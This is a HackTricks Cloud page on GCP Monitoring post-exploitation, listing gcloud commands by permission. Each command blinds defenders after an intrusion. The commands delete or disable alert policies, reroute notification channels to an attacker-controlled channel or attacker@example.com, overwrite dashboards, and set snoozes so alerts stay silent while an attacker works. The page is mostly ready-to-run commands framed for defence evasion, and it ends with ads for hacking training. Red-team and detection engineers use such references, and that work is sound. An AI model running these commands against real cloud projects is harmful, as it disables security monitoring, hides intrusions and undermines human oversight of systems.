GCP - Monitoring Post Exploitation
Monitoring
Fore more information check:
For other ways to disrupt logs check:
GCP - Logging Post Exploitation
monitoring.alertPolicies.delete
Delete an alert policy: [1][2]
Delete alert policy
gcloud alpha monitoring policies delete <policy>
monitoring.alertPolicies.update
Disrupt an alert policy: [1][3]
Disrupt alert policy
# Disable policy
gcloud alpha monitoring policies update <alert-policy> --no-enabled
# Remove all notification channels
gcloud alpha monitoring policies update <alert-policy> --clear-notification-channels
# Chnage notification channels
gcloud alpha monitoring policies update <alert-policy> --set-notification-channels=ATTACKER_CONTROLLED_CHANNEL
# Modify alert conditions
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file <policy-file>
monitoring.dashboards.update
Modify a dashboard to disrupt it: [1][4]
Disrupt dashboard
# Disrupt dashboard
gcloud monitoring dashboards update <dashboard> --config='''
displayName: New Dashboard with New Display Name
etag: 40d1040034db4e5a9dee931ec1b12c0d
gridLayout:
widgets:
- text:
content: Hello World
'''
monitoring.dashboards.delete
Delete dashboard
# Delete dashboard
gcloud monitoring dashboards delete <dashboard>
monitoring.snoozes.create
Prevent policies from generating alerts by creating a snoozer: [1][6][10]
Create snoozer to stop alerts
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
--criteria-policies="projects/my-project/alertPolicies/12345,projects/my-project/alertPolicies/23451" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
monitoring.snoozes.update
Update the timing of a snoozer to prevent alerts from being created when the attacker is interested: [1][7][10]
Update snoozer timing
# Modify the timing of a snooze
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
# odify everything, including affected policies
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
monitoring.notificationChannels.delete
Delete a configured channel: [1][8]
Delete notification channel
# Delete channel
gcloud alpha monitoring channels delete <channel>
monitoring.notificationChannels.update
Update labels of a channel to disrupt it: [1][9][11]
Update notification channel labels
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
References
- [1] Cloud Monitoring roles and permissions
- [2] gcloud alpha monitoring policies delete
- [3] gcloud alpha monitoring policies update
- [4] gcloud monitoring dashboards update
- [5] gcloud monitoring dashboards delete
- [6] gcloud monitoring snoozes create
- [7] gcloud monitoring snoozes update
- [8] gcloud alpha monitoring channels delete
- [9] gcloud alpha monitoring channels update
- [10] Create and manage snoozes
- [11] Create and manage notification channels by API
[!TIP] Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.


